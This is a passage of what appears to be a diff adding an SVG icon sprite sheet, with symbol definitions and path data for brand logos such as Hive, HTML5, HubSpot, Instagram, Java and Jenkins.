0 2.8-.9 2.8-2.8V223.3c0-.8-2.8-27 45.8-27 48.5 0 45.8 26.1 45.8 27v122.6c0 9 7.3 16.3 16.4 16.3h27.3c1.8 0 2.7-.9 2.7-2.8V223.3c0-23.4-9.3-41.8-28-55.3zm478.4 110.1c-6.8-15.7-18.4-27-34.9-34.1l-57.6-25.3c-8.6-3.6-9.2-11.2-2.6-16.1 7.4-5.5 44.3-13.9 84 6.8 1.7 1 4-.3 4-2.4v-44.7c0-1.3-.6-2.1-1.9-2.6-17.7-6.6-36.1-9.9-55.1-9.9-26.5 0-45.3 5.8-58.5 15.4-.5.4-28.4 20-22.7 53.7 3.4 19.6 15.8 34.2 37.2 43.6l53.6 23.5c11.6 5.1 15.2 13.3 12.2 21.2-3.7 9.1-13.2 13.6-36.5 13.6-24.3 0-44.7-8.9-58.4-19.1-2.1-1.4-4.4.2-4.4 2.3v34.4c0 10.4 4.9 17.3 14.6 20.7 15.6 5.5 31.6 8.2 48.2 8.2 12.7 0 25.8-1.2 36.3-4.3.7-.3 36-8.9 45.6-45.8 3.5-13.5 2.4-26.5-3.1-39.1zM376.2 149.8c-31.7 0-104.2 20.1-104.2 103.5v183.5c0 .8.6 2.7 2.7 2.7h40.9c1.9 0 2.8-.9 2.8-2.7V348c16.5 12.7 35.8 19.1 57.7 19.1 60.5 0 108.7-48.5 108.7-108.7.1-60.3-48.2-108.6-108.6-108.6zm0 170.9c-17.2 0-31.9-6.1-44-18.2-12.2-12.2-18.2-26.8-18.2-44 0-34.5 27.6-62.2 62.2-62.2 34.5 0 62.2 27.6 62.2 62.2.1 34.3-27.3 62.2-62.2 62.2zM228.3 72.5c-15.9 0-28.8 12.9-28.9 28.9 0 15.6 12.7 28.9 28.9 28.9s28.9-13.1 28.9-28.9c0-16.2-13-28.9-28.9-28.9z"></path> + </symbol> + <symbol id="hire-a-helper" viewBox="0 0 512 512"> + <path d="M443.1 0H71.9C67.9 37.3 37.4 67.8 0 71.7v371.5c37.4 4.9 66 32.4 71.9 68.8h372.2c3-36.4 32.5-65.8 67.9-69.8V71.7c-36.4-5.9-65-35.3-68.9-71.7zm-37 404.9c-36.3 0-18.8-2-55.1-2-35.8 0-21 2-56.1 2-5.9 0-4.9-8.2 0-9.8 22.8-7.6 22.9-10.2 24.6-12.8 10.4-15.6 5.9-83 5.9-113 0-5.3-6.4-12.8-13.8-12.8H200.4c-7.4 0-13.8 7.5-13.8 12.8 0 30-4.5 97.4 5.9 113 1.7 2.5 1.8 5.2 24.6 12.8 4.9 1.6 6 9.8 0 9.8-35.1 0-20.3-2-56.1-2-36.3 0-18.8 2-55.1 2-7.9 0-5.8-10.8 0-10.8 10.2-3.4 13.5-3.5 21.7-13.8 7.7-12.9 7.9-44.4 7.9-127.8V151.3c0-22.2-12.2-28.3-28.6-32.4-8.8-2.2-4-11.8 1-11.8 36.5 0 20.6 2 57.1 2 32.7 0 16.5-2 49.2-2 3.3 0 8.5 8.3 1 10.8-4.9 1.6-27.6 3.7-27.6 39.3 0 45.6-.2 55.8 1 68.8 0 1.3 2.3 12.8 12.8 12.8h109.2c10.5 0 12.8-11.5 12.8-12.8 1.2-13 1-23.2 1-68.8 0-35.6-22.7-37.7-27.6-39.3-7.5-2.5-2.3-10.8 1-10.8 32.7 0 16.5 2 49.2 2 36.5 0 20.6-2 57.1-2 4.9 0 9.9 9.6 1 11.8-16.4 4.1-28.6 10.3-28.6 32.4v101.2c0 83.4.1 114.9 7.9 127.8 8.2 10.2 11.4 10.4 21.7 13.8 5.8 0 7.8 10.8 0 10.8z"></path> + </symbol> + <symbol id="hive" viewBox="0 0 512 512"> + <path d="M260.353,254.878,131.538,33.1a2.208,2.208,0,0,0-3.829.009L.3,254.887A2.234,2.234,0,0,0,.3,257.122L129.116,478.9a2.208,2.208,0,0,0,3.83-.009L260.358,257.113A2.239,2.239,0,0,0,260.353,254.878Zm39.078-25.713a2.19,2.19,0,0,0,1.9,1.111h66.509a2.226,2.226,0,0,0,1.9-3.341L259.115,33.111a2.187,2.187,0,0,0-1.9-1.111H190.707a2.226,2.226,0,0,0-1.9,3.341ZM511.7,254.886,384.9,33.112A2.2,2.2,0,0,0,382.99,32h-66.6a2.226,2.226,0,0,0-1.906,3.34L440.652,256,314.481,476.66a2.226,2.226,0,0,0,1.906,3.34h66.6a2.2,2.2,0,0,0,1.906-1.112L511.7,257.114A2.243,2.243,0,0,0,511.7,254.886ZM366.016,284.917H299.508a2.187,2.187,0,0,0-1.9,1.111l-108.8,190.631a2.226,2.226,0,0,0,1.9,3.341h66.509a2.187,2.187,0,0,0,1.9-1.111l108.8-190.631A2.226,2.226,0,0,0,366.016,284.917Z"></path> + </symbol> + <symbol id="hooli" viewBox="0 0 640 512"> + <path d="M144.5 352l38.3.8c-13.2-4.6-26-10.2-38.3-16.8zm57.7-5.3v5.3l-19.4.8c36.5 12.5 69.9 14.2 94.7 7.2-19.9.2-45.8-2.6-75.3-13.3zm408.9-115.2c15.9 0 28.9-12.9 28.9-28.9s-12.9-24.5-28.9-24.5c-15.9 0-28.9 8.6-28.9 24.5s12.9 28.9 28.9 28.9zm-29 120.5H640V241.5h-57.9zm-73.7 0h57.9V156.7L508.4 184zm-31-119.4c-18.2-18.2-50.4-17.1-50.4-17.1s-32.3-1.1-50.4 17.1c-18.2 18.2-16.8 33.9-16.8 52.6s-1.4 34.3 16.8 52.5 50.4 17.1 50.4 17.1 32.3 1.1 50.4-17.1c18.2-18.2 16.8-33.8 16.8-52.5-.1-18.8 1.3-34.5-16.8-52.6zm-39.8 71.9c0 3.6-1.8 12.5-10.7 12.5s-10.7-8.9-10.7-12.5v-40.4c0-8.7 7.3-10.9 10.7-10.9s10.7 2.1 10.7 10.9zm-106.2-71.9c-18.2-18.2-50.4-17.1-50.4-17.1s-32.2-1.1-50.4 17.1c-1.9 1.9-3.7 3.9-5.3 6-38.2-29.6-72.5-46.5-102.1-61.1v-20.7l-22.5 10.6c-54.4-22.1-89-18.2-97.3.1 0 0-24.9 32.8 61.8 110.8V352h57.9v-28.6c-6.5-4.2-13-8.7-19.4-13.6-14.8-11.2-27.4-21.6-38.4-31.4v-31c13.1 14.7 30.5 31.4 53.4 50.3l4.5 3.6v-29.8c0-6.9 1.7-18.2 10.8-18.2s10.6 6.9 10.6 15V317c18 12.2 37.3 22.1 57.7 29.6v-93.9c0-18.7-13.4-37.4-40.6-37.4-15.8-.1-30.5 8.2-38.5 21.9v-54.3c41.9 20.9 83.9 46.5 99.9 58.3-10.2 14.6-9.3 28.1-9.3 43.7 0 18.7-1.4 34.3 16.8 52.5s50.4 17.1 50.4 17.1 32.3 1.1 50.4-17.1c18.2-18.2 16.7-33.8 16.7-52.5 0-18.5 1.5-34.2-16.7-52.3zM65.2 184v63.3c-48.7-54.5-38.9-76-35.2-79.1 13.5-11.4 37.5-8 64.4 2.1zm226.5 120.5c0 3.6-1.8 12.5-10.7 12.5s-10.7-8.9-10.7-12.5v-40.4c0-8.7 7.3-10.9 10.7-10.9s10.7 2.1 10.7 10.9z"></path> + </symbol> + <symbol id="hornbill" viewBox="0 0 512 512"> + <path d="M76.38 370.3a37.8 37.8 0 1 1-32.07-32.42c-78.28-111.35 52-190.53 52-190.53-5.86 43-8.24 91.16-8.24 91.16-67.31 41.49.93 64.06 39.81 72.87a140.38 140.38 0 0 0 131.66 91.94c1.92 0 3.77-.21 5.67-.28l.11 18.86c-99.22 1.39-158.7-29.14-188.94-51.6zm108-327.7A37.57 37.57 0 0 0 181 21.45a37.95 37.95 0 1 0-31.17 54.22c-22.55 29.91-53.83 89.57-52.42 190l21.84-.15c0-.9-.14-1.77-.14-2.68A140.42 140.42 0 0 1 207 132.71c8-37.71 30.7-114.3 73.8-44.29 0 0 48.14 2.38 91.18 8.24 0 0-77.84-128-187.59-54.06zm304.19 134.17a37.94 37.94 0 1 0-53.84-28.7C403 126.13 344.89 99 251.28 100.33l.14 22.5c2.7-.15 5.39-.41 8.14-.41a140.37 140.37 0 0 1 130.49 88.76c39.1 9 105.06 31.58 38.46 72.54 0 0-2.34 48.13-8.21 91.16 0 0 133.45-81.16 49-194.61a37.45 37.45 0 0 0 19.31-3.5zM374.06 436.24c21.43-32.46 46.42-89.69 45.14-179.66l-19.52.14c.08 2.06.3 4.07.3 6.15a140.34 140.34 0 0 1-91.39 131.45c-8.85 38.95-31.44 106.66-72.77 39.49 0 0-48.12-2.34-91.19-8.22 0 0 79.92 131.34 191.9 51a37.5 37.5 0 0 0 3.64 14 37.93 37.93 0 1 0 33.89-54.29z"></path> + </symbol> + <symbol id="hotjar" viewBox="0 0 448 512"> + <path d="M414.9 161.5C340.2 29 121.1 0 121.1 0S222.2 110.4 93 197.7C11.3 252.8-21 324.4 14 402.6c26.8 59.9 83.5 84.3 144.6 93.4-29.2-55.1-6.6-122.4-4.1-129.6 57.1 86.4 165 0 110.8-93.9 71 15.4 81.6 138.6 27.1 215.5 80.5-25.3 134.1-88.9 148.8-145.6 15.5-59.3 3.7-127.9-26.3-180.9z"></path> + </symbol> + <symbol id="houzz" viewBox="0 0 448 512"> + <path d="M275.9 330.7H171.3V480H17V32h109.5v104.5l305.1 85.6V480H275.9z"></path> + </symbol> + <symbol id="html5" viewBox="0 0 384 512"> + <path d="M0 32l34.9 395.8L191.5 480l157.6-52.2L384 32H0zm308.2 127.9H124.4l4.1 49.4h175.6l-13.6 148.4-97.9 27v.3h-1.1l-98.7-27.3-6-75.8h47.7L138 320l53.5 14.5 53.7-14.5 6-62.2H84.3L71.5 112.2h241.1l-4.4 47.7z"></path> + </symbol> + <symbol id="hubspot" viewBox="0 0 512 512"> + <path d="M267.4 211.6c-25.1 23.7-40.8 57.3-40.8 94.6 0 29.3 9.7 56.3 26 78L203.1 434c-4.4-1.6-9.1-2.5-14-2.5-10.8 0-20.9 4.2-28.5 11.8-7.6 7.6-11.8 17.8-11.8 28.6s4.2 20.9 11.8 28.5c7.6 7.6 17.8 11.6 28.5 11.6 10.8 0 20.9-3.9 28.6-11.6 7.6-7.6 11.8-17.8 11.8-28.5 0-4.2-.6-8.2-1.9-12.1l50-50.2c22 16.9 49.4 26.9 79.3 26.9 71.9 0 130-58.3 130-130.2 0-65.2-47.7-119.2-110.2-128.7V116c17.5-7.4 28.2-23.8 28.2-42.9 0-26.1-20.9-47.9-47-47.9S311.2 47 311.2 73.1c0 19.1 10.7 35.5 28.2 42.9v61.2c-15.2 2.1-29.6 6.7-42.7 13.6-27.6-20.9-117.5-85.7-168.9-124.8 1.2-4.4 2-9 2-13.8C129.8 23.4 106.3 0 77.4 0 48.6 0 25.2 23.4 25.2 52.2c0 28.9 23.4 52.3 52.2 52.3 9.8 0 18.9-2.9 26.8-7.6l163.2 114.7zm89.5 163.6c-38.1 0-69-30.9-69-69s30.9-69 69-69 69 30.9 69 69-30.9 69-69 69z"></path> + </symbol> + <symbol id="ideal" viewBox="0 0 576 512"> + <path d="M125.61,165.48a49.07,49.07,0,1,0,49.06,49.06A49.08,49.08,0,0,0,125.61,165.48ZM86.15,425.84h78.94V285.32H86.15Zm151.46-211.6c0-20-10-22.53-18.74-22.53H204.82V237.5h14.05C228.62,237.5,237.61,234.69,237.61,214.24Zm201.69,46V168.93h22.75V237.5h33.69C486.5,113.08,388.61,86.19,299.67,86.19H204.84V169h14c25.6,0,41.5,17.35,41.5,45.26,0,28.81-15.52,46-41.5,46h-14V425.88h94.83c144.61,0,194.94-67.16,196.72-165.64Zm-109.75,0H273.3V169h54.43v22.73H296v10.58h30V225H296V237.5h33.51Zm74.66,0-5.16-17.67H369.31l-5.18,17.67H340.47L368,168.92h32.35l27.53,91.34ZM299.65,32H32V480H299.65c161.85,0,251-79.73,251-224.52C550.62,172,518,32,299.65,32Zm0,426.92H53.07V53.07H299.65c142.1,0,229.9,64.61,229.9,202.41C529.55,389.57,448.55,458.92,299.65,458.92Zm83.86-264.85L376,219.88H392.4l-7.52-25.81Z"></path> + </symbol> + <symbol id="imdb" viewBox="0 0 448 512"> + <path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM21.3 229.2H21c.1-.1.2-.3.3-.4zM97 319.8H64V192h33zm113.2 0h-28.7v-86.4l-11.6 86.4h-20.6l-12.2-84.5v84.5h-29V192h42.8c3.3 19.8 6 39.9 8.7 59.9l7.6-59.9h43zm11.4 0V192h24.6c17.6 0 44.7-1.6 49 20.9 1.7 7.6 1.4 16.3 1.4 24.4 0 88.5 11.1 82.6-75 82.5zm160.9-29.2c0 15.7-2.4 30.9-22.2 30.9-9 0-15.2-3-20.9-9.8l-1.9 8.1h-29.8V192h31.7v41.7c6-6.5 12-9.2 20.9-9.2 21.4 0 22.2 12.8 22.2 30.1zM265 229.9c0-9.7 1.6-16-10.3-16v83.7c12.2.3 10.3-8.7 10.3-18.4zm85.5 26.1c0-5.4 1.1-12.7-6.2-12.7-6 0-4.9 8.9-4.9 12.7 0 .6-1.1 39.6 1.1 44.7.8 1.6 2.2 2.4 3.8 2.4 7.8 0 6.2-9 6.2-14.4z"></path> + </symbol> + <symbol id="innosoft" viewBox="0 0 448 512"> + <path d="M422.559,159.71a27.379,27.379,0,0,0-13.866-23.337,26.42,26.42,0,0,0-26.211.133L73.943,314.647V176.261a11.955,11.955,0,0,1,6.047-10.34L218.066,86.208a12.153,12.153,0,0,1,11.922.025l32.656,18.853L112.581,191.723v56L359.642,105.086,241.129,36.679c-10.992-6.129-22.3-6.255-33.8-.27l-164.6,95.026c-10.634,6.12-16.771,16.39-17.29,29.124l0,191.5c.17,10.135,5.08,18.672,13.474,23.428a27.037,27.037,0,0,0,26.736-.045L374.057,197.376V335.657a11.976,11.976,0,0,1-5.92,10.368L230.025,425.77a12.175,12.175,0,0,1-11.937.062l-32.723-18.9,150.051-86.627v-56L88.367,406.932l118.794,68.583a33.88,33.88,0,0,0,34.25-.327l164.527-94.995c10.746-6.631,16.649-17.118,16.624-29.528Z"></path> + </symbol> + <symbol id="instagram" viewBox="0 0 448 512"> + <path d="M224.1 141c-63.6 0-114.9 51.3-114.9 114.9s51.3 114.9 114.9 114.9S339 319.5 339 255.9 287.7 141 224.1 141zm0 189.6c-41.1 0-74.7-33.5-74.7-74.7s33.5-74.7 74.7-74.7 74.7 33.5 74.7 74.7-33.6 74.7-74.7 74.7zm146.4-194.3c0 14.9-12 26.8-26.8 26.8-14.9 0-26.8-12-26.8-26.8s12-26.8 26.8-26.8 26.8 12 26.8 26.8zm76.1 27.2c-1.7-35.9-9.9-67.7-36.2-93.9-26.2-26.2-58-34.4-93.9-36.2-37-2.1-147.9-2.1-184.9 0-35.8 1.7-67.6 9.9-93.9 36.1s-34.4 58-36.2 93.9c-2.1 37-2.1 147.9 0 184.9 1.7 35.9 9.9 67.7 36.2 93.9s58 34.4 93.9 36.2c37 2.1 147.9 2.1 184.9 0 35.9-1.7 67.7-9.9 93.9-36.2 26.2-26.2 34.4-58 36.2-93.9 2.1-37 2.1-147.8 0-184.8zM398.8 388c-7.8 19.6-22.9 34.7-42.6 42.6-29.5 11.7-99.5 9-132.1 9s-102.7 2.6-132.1-9c-19.6-7.8-34.7-22.9-42.6-42.6-11.7-29.5-9-99.5-9-132.1s-2.6-102.7 9-132.1c7.8-19.6 22.9-34.7 42.6-42.6 29.5-11.7 99.5-9 132.1-9s102.7-2.6 132.1 9c19.6 7.8 34.7 22.9 42.6 42.6 11.7 29.5 9 99.5 9 132.1s2.7 102.7-9 132.1z"></path> + </symbol> + <symbol id="instagram-square" viewBox="0 0 448 512"> + <path d="M224,202.66A53.34,53.34,0,1,0,277.36,256,53.38,53.38,0,0,0,224,202.66Zm124.71-41a54,54,0,0,0-30.41-30.41c-21-8.29-71-6.43-94.3-6.43s-73.25-1.93-94.31,6.43a54,54,0,0,0-30.41,30.41c-8.28,21-6.43,71.05-6.43,94.33S91,329.26,99.32,350.33a54,54,0,0,0,30.41,30.41c21,8.29,71,6.43,94.31,6.43s73.24,1.93,94.3-6.43a54,54,0,0,0,30.41-30.41c8.35-21,6.43-71.05,6.43-94.33S357.1,182.74,348.75,161.67ZM224,338a82,82,0,1,1,82-82A81.9,81.9,0,0,1,224,338Zm85.38-148.3a19.14,19.14,0,1,1,19.13-19.14A19.1,19.1,0,0,1,309.42,189.74ZM400,32H48A48,48,0,0,0,0,80V432a48,48,0,0,0,48,48H400a48,48,0,0,0,48-48V80A48,48,0,0,0,400,32ZM382.88,322c-1.29,25.63-7.14,48.34-25.85,67s-41.4,24.63-67,25.85c-26.41,1.49-105.59,1.49-132,0-25.63-1.29-48.26-7.15-67-25.85s-24.63-41.42-25.85-67c-1.49-26.42-1.49-105.61,0-132,1.29-25.63,7.07-48.34,25.85-67s41.47-24.56,67-25.78c26.41-1.49,105.59-1.49,132,0,25.63,1.29,48.33,7.15,67,25.85s24.63,41.42,25.85,67.05C384.37,216.44,384.37,295.56,382.88,322Z"></path> + </symbol> + <symbol id="instalod" viewBox="0 0 512 512"> + <path d="M153.384,480H387.113L502.554,275.765,204.229,333.211ZM504.726,240.078,387.113,32H155.669L360.23,267.9ZM124.386,48.809,7.274,256,123.236,461.154,225.627,165.561Z"></path> + </symbol> + <symbol id="intercom" viewBox="0 0 448 512"> + <path d="M392 32H56C25.1 32 0 57.1 0 88v336c0 30.9 25.1 56 56 56h336c30.9 0 56-25.1 56-56V88c0-30.9-25.1-56-56-56zm-108.3 82.1c0-19.8 29.9-19.8 29.9 0v199.5c0 19.8-29.9 19.8-29.9 0V114.1zm-74.6-7.5c0-19.8 29.9-19.8 29.9 0v216.5c0 19.8-29.9 19.8-29.9 0V106.6zm-74.7 7.5c0-19.8 29.9-19.8 29.9 0v199.5c0 19.8-29.9 19.8-29.9 0V114.1zM59.7 144c0-19.8 29.9-19.8 29.9 0v134.3c0 19.8-29.9 19.8-29.9 0V144zm323.4 227.8c-72.8 63-241.7 65.4-318.1 0-15-12.8 4.4-35.5 19.4-22.7 65.9 55.3 216.1 53.9 279.3 0 14.9-12.9 34.3 9.8 19.4 22.7zm5.2-93.5c0 19.8-29.9 19.8-29.9 0V144c0-19.8 29.9-19.8 29.9 0v134.3z"></path> + </symbol> + <symbol id="internet-explorer" viewBox="0 0 512 512"> + <path d="M483.049 159.706c10.855-24.575 21.424-60.438 21.424-87.871 0-72.722-79.641-98.371-209.673-38.577-107.632-7.181-211.221 73.67-237.098 186.457 30.852-34.862 78.271-82.298 121.977-101.158C125.404 166.85 79.128 228.002 43.992 291.725 23.246 329.651 0 390.94 0 436.747c0 98.575 92.854 86.5 180.251 42.006 31.423 15.43 66.559 15.573 101.695 15.573 97.124 0 184.249-54.294 216.814-146.022H377.927c-52.509 88.593-196.819 52.996-196.819-47.436H509.9c6.407-43.581-1.655-95.715-26.851-141.162zM64.559 346.877c17.711 51.15 53.703 95.871 100.266 123.304-88.741 48.94-173.267 29.096-100.266-123.304zm115.977-108.873c2-55.151 50.276-94.871 103.98-94.871 53.418 0 101.981 39.72 103.981 94.871H180.536zm184.536-187.6c21.425-10.287 48.563-22.003 72.558-22.003 31.422 0 54.274 21.717 54.274 53.722 0 20.003-7.427 49.007-14.569 67.867-26.28-42.292-65.986-81.584-112.263-99.586z"></path> + </symbol> + <symbol id="invision" viewBox="0 0 448 512"> + <path d="M407.4 32H40.6C18.2 32 0 50.2 0 72.6v366.8C0 461.8 18.2 480 40.6 480h366.8c22.4 0 40.6-18.2 40.6-40.6V72.6c0-22.4-18.2-40.6-40.6-40.6zM176.1 145.6c.4 23.4-22.4 27.3-26.6 27.4-14.9 0-27.1-12-27.1-27 .1-35.2 53.1-35.5 53.7-.4zM332.8 377c-65.6 0-34.1-74-25-106.6 14.1-46.4-45.2-59-59.9.7l-25.8 103.3H177l8.1-32.5c-31.5 51.8-94.6 44.4-94.6-4.3.1-14.3.9-14 23-104.1H81.7l9.7-35.6h76.4c-33.6 133.7-32.6 126.9-32.9 138.2 0 20.9 40.9 13.5 57.4-23.2l19.8-79.4h-32.3l9.7-35.6h68.8l-8.9 40.5c40.5-75.5 127.9-47.8 101.8 38-14.2 51.1-14.6 50.7-14.9 58.8 0 15.5 17.5 22.6 31.8-16.9L386 325c-10.5 36.7-29.4 52-53.2 52z"></path> + </symbol> + <symbol id="ioxhost" viewBox="0 0 640 512"> + <path d="M616 160h-67.3C511.2 70.7 422.9 8 320 8 183 8 72 119 72 256c0 16.4 1.6 32.5 4.7 48H24c-13.3 0-24 10.8-24 24 0 13.3 10.7 24 24 24h67.3c37.5 89.3 125.8 152 228.7 152 137 0 248-111 248-248 0-16.4-1.6-32.5-4.7-48H616c13.3 0 24-10.8 24-24 0-13.3-10.7-24-24-24zm-96 96c0 110.5-89.5 200-200 200-75.7 0-141.6-42-175.5-104H424c13.3 0 24-10.8 24-24 0-13.3-10.7-24-24-24H125.8c-3.8-15.4-5.8-31.4-5.8-48 0-110.5 89.5-200 200-200 75.7 0 141.6 42 175.5 104H216c-13.3 0-24 10.8-24 24 0 13.3 10.7 24 24 24h298.2c3.8 15.4 5.8 31.4 5.8 48zm-304-24h208c13.3 0 24 10.7 24 24 0 13.2-10.7 24-24 24H216c-13.3 0-24-10.7-24-24 0-13.2 10.7-24 24-24z"></path> + </symbol> + <symbol id="itch-io" viewBox="0 0 512 512"> + <path d="M71.92 34.77C50.2 47.67 7.4 96.84 7 109.73v21.34c0 27.06 25.29 50.84 48.25 50.84 27.57 0 50.54-22.85 50.54-50 0 27.12 22.18 50 49.76 50s49-22.85 49-50c0 27.12 23.59 50 51.16 50h.5c27.57 0 51.16-22.85 51.16-50 0 27.12 21.47 50 49 50s49.76-22.85 49.76-50c0 27.12 23 50 50.54 50 23 0 48.25-23.78 48.25-50.84v-21.34c-.4-12.9-43.2-62.07-64.92-75C372.56 32.4 325.76 32 256 32S91.14 33.1 71.92 34.77zm132.32 134.39c-22 38.4-77.9 38.71-99.85.25-13.17 23.14-43.17 32.07-56 27.66-3.87 40.15-13.67 237.13 17.73 269.15 80 18.67 302.08 18.12 379.76 0 31.65-32.27 21.32-232 17.75-269.15-12.92 4.44-42.88-4.6-56-27.66-22 38.52-77.85 38.1-99.85-.24-7.1 12.49-23.05 28.94-51.76 28.94a57.54 57.54 0 0 1-51.75-28.94zm-41.58 53.77c16.47 0 31.09 0 49.22 19.78a436.91 436.91 0 0 1 88.18 0C318.22 223 332.85 223 349.31 223c52.33 0 65.22 77.53 83.87 144.45 17.26 62.15-5.52 63.67-33.95 63.73-42.15-1.57-65.49-32.18-65.49-62.79-39.25 6.43-101.93 8.79-155.55 0 0 30.61-23.34 61.22-65.49 62.79-28.42-.06-51.2-1.58-33.94-63.73 18.67-67 31.56-144.45 83.88-144.45zM256 270.79s-44.38 40.77-52.35 55.21l29-1.17v25.32c0 1.55 21.34.16 23.33.16 11.65.54 23.31 1 23.31-.16v-25.28l29 1.17c-8-14.48-52.35-55.24-52.35-55.24z"></path> + </symbol> + <symbol id="itunes" viewBox="0 0 448 512"> + <path d="M223.6 80.3C129 80.3 52.5 157 52.5 251.5S129 422.8 223.6 422.8s171.2-76.7 171.2-171.2c0-94.6-76.7-171.3-171.2-171.3zm79.4 240c-3.2 13.6-13.5 21.2-27.3 23.8-12.1 2.2-22.2 2.8-31.9-5-11.8-10-12-26.4-1.4-36.8 8.4-8 20.3-9.6 38-12.8 3-.5 5.6-1.2 7.7-3.7 3.2-3.6 2.2-2 2.2-80.8 0-5.6-2.7-7.1-8.4-6.1-4 .7-91.9 17.1-91.9 17.1-5 1.1-6.7 2.6-6.7 8.3 0 116.1.5 110.8-1.2 118.5-2.1 9-7.6 15.8-14.9 19.6-8.3 4.6-23.4 6.6-31.4 5.2-21.4-4-28.9-28.7-14.4-42.9 8.4-8 20.3-9.6 38-12.8 3-.5 5.6-1.2 7.7-3.7 5-5.7.9-127 2.6-133.7.4-2.6 1.5-4.8 3.5-6.4 2.1-1.7 5.8-2.7 6.7-2.7 101-19 113.3-21.4 115.1-21.4 5.7-.4 9 3 9 8.7-.1 170.6.4 161.4-1 167.6zM345.2 32H102.8C45.9 32 0 77.9 0 134.8v242.4C0 434.1 45.9 480 102.8 480h242.4c57 0 102.8-45.9 102.8-102.8V134.8C448 77.9 402.1 32 345.2 32zM223.6 444c-106.3 0-192.5-86.2-192.5-192.5S117.3 59 223.6 59s192.5 86.2 192.5 192.5S329.9 444 223.6 444z"></path> + </symbol> + <symbol id="itunes-note" viewBox="0 0 384 512"> + <path d="M381.9 388.2c-6.4 27.4-27.2 42.8-55.1 48-24.5 4.5-44.9 5.6-64.5-10.2-23.9-20.1-24.2-53.4-2.7-74.4 17-16.2 40.9-19.5 76.8-25.8 6-1.1 11.2-2.5 15.6-7.4 6.4-7.2 4.4-4.1 4.4-163.2 0-11.2-5.5-14.3-17-12.3-8.2 1.4-185.7 34.6-185.7 34.6-10.2 2.2-13.4 5.2-13.4 16.7 0 234.7 1.1 223.9-2.5 239.5-4.2 18.2-15.4 31.9-30.2 39.5-16.8 9.3-47.2 13.4-63.4 10.4-43.2-8.1-58.4-58-29.1-86.6 17-16.2 40.9-19.5 76.8-25.8 6-1.1 11.2-2.5 15.6-7.4 10.1-11.5 1.8-256.6 5.2-270.2.8-5.2 3-9.6 7.1-12.9 4.2-3.5 11.8-5.5 13.4-5.5 204-38.2 228.9-43.1 232.4-43.1 11.5-.8 18.1 6 18.1 17.6.2 344.5 1.1 326-1.8 338.5z"></path> + </symbol> + <symbol id="java" viewBox="0 0 384 512"> + <path d="M277.74 312.9c9.8-6.7 23.4-12.5 23.4-12.5s-38.7 7-77.2 10.2c-47.1 3.9-97.7 4.7-123.1 1.3-60.1-8 33-30.1 33-30.1s-36.1-2.4-80.6 19c-52.5 25.4 130 37 224.5 12.1zm-85.4-32.1c-19-42.7-83.1-80.2 0-145.8C296 53.2 242.84 0 242.84 0c21.5 84.5-75.6 110.1-110.7 162.6-23.9 35.9 11.7 74.4 60.2 118.2zm114.6-176.2c.1 0-175.2 43.8-91.5 140.2 24.7 28.4-6.5 54-6.5 54s62.7-32.4 33.9-72.9c-26.9-37.8-47.5-56.6 64.1-121.3zm-6.1 270.5a12.19 12.19 0 0 1-2 2.6c128.3-33.7 81.1-118.9 19.8-97.3a17.33 17.33 0 0 0-8.2 6.3 70.45 70.45 0 0 1 11-3c31-6.5 75.5 41.5-20.6 91.4zM348 437.4s14.5 11.9-15.9 21.2c-57.9 17.5-240.8 22.8-291.6.7-18.3-7.9 16-19 26.8-21.3 11.2-2.4 17.7-2 17.7-2-20.3-14.3-131.3 28.1-56.4 40.2C232.84 509.4 401 461.3 348 437.4zM124.44 396c-78.7 22 47.9 67.4 148.1 24.5a185.89 185.89 0 0 1-28.2-13.8c-44.7 8.5-65.4 9.1-106 4.5-33.5-3.8-13.9-15.2-13.9-15.2zm179.8 97.2c-78.7 14.8-175.8 13.1-233.3 3.6 0-.1 11.8 9.7 72.4 13.6 92.2 5.9 233.8-3.3 237.1-46.9 0 0-6.4 16.5-76.2 29.7zM260.64 353c-59.2 11.4-93.5 11.1-136.8 6.6-33.5-3.5-11.6-19.7-11.6-19.7-86.8 28.8 48.2 61.4 169.5 25.9a60.37 60.37 0 0 1-21.1-12.8z"></path> + </symbol> + <symbol id="jedi-order" viewBox="0 0 448 512"> + <path d="M398.5 373.6c95.9-122.1 17.2-233.1 17.2-233.1 45.4 85.8-41.4 170.5-41.4 170.5 105-171.5-60.5-271.5-60.5-271.5 96.9 72.7-10.1 190.7-10.1 190.7 85.8 158.4-68.6 230.1-68.6 230.1s-.4-16.9-2.2-85.7c4.3 4.5 34.5 36.2 34.5 36.2l-24.2-47.4 62.6-9.1-62.6-9.1 20.2-55.5-31.4 45.9c-2.2-87.7-7.8-305.1-7.9-306.9v-2.4 1-1 2.4c0 1-5.6 219-7.9 306.9l-31.4-45.9 20.2 55.5-62.6 9.1 62.6 9.1-24.2 47.4 34.5-36.2c-1.8 68.8-2.2 85.7-2.2 85.7s-154.4-71.7-68.6-230.1c0 0-107-118.1-10.1-190.7 0 0-165.5 99.9-60.5 271.5 0 0-86.8-84.8-41.4-170.5 0 0-78.7 111 17.2 233.1 0 0-26.2-16.1-49.4-77.7 0 0 16.9 183.3 222 185.7h4.1c205-2.4 222-185.7 222-185.7-23.6 61.5-49.9 77.7-49.9 77.7z"></path> + </symbol> + <symbol id="jenkins" viewBox="0 0 512 512"> + <path d="M487.1 425c-1.4-11.2-19-23.1-28.2-31.9-5.1-5-29-23.1-30.4-29.9-1.4-6.6 9.7-21.5 13.3-28.9 5.1-10.7 8.8-23.7 11.3-32.6 18.8-66.1 20.7-156.9-6.2-211.2-10.2-20.6-38.6-49-56.4-62.5-42-31.7-119.6-35.3-170.1-16.6-14.1 5.2-27.8 9.8-40.1 17.1-33.1 19.4-68.3 32.5-78.1 71.6-24.2 10.8-31.5 41.8-30.3 77.8.2 7 4.1 15.8 2.7 22.4-.7 3.3-5.2 7.6-6.1 9.8-11.6 27.7-2.3 64 11.1 83.7 8.1 11.9 21.5 22.4 39.2 25.2.7 10.6 3.3 19.7 8.2 30.4 3.1 6.8 14.7 19 10.4 27.7-2.2 4.4-21 13.8-27.3 17.6C89 407.2 73.7 415 54.2 429c-12.6 9-32.3 10.2-29.2 31.1 2.1 14.1 10.1 31.6 14.7 45.8.7 2 1.4 4.1 2.1 6h422c4.9-15.3 9.7-30.9 14.6-47.2 3.4-11.4 10.2-27.8 8.7-39.7zM205.9 33.7c1.8-.5 3.4.7 4.9 2.4-.2 5.2-5.4 5.1-8.9 6.8-5.4 6.7-13.4 9.8-20 17.2-6.8 7.5-14.4 27.7-23.4 30-4.5 1.1-9.7-.8-13.6-.5-10.4.7-17.7 6-28.3 7.5 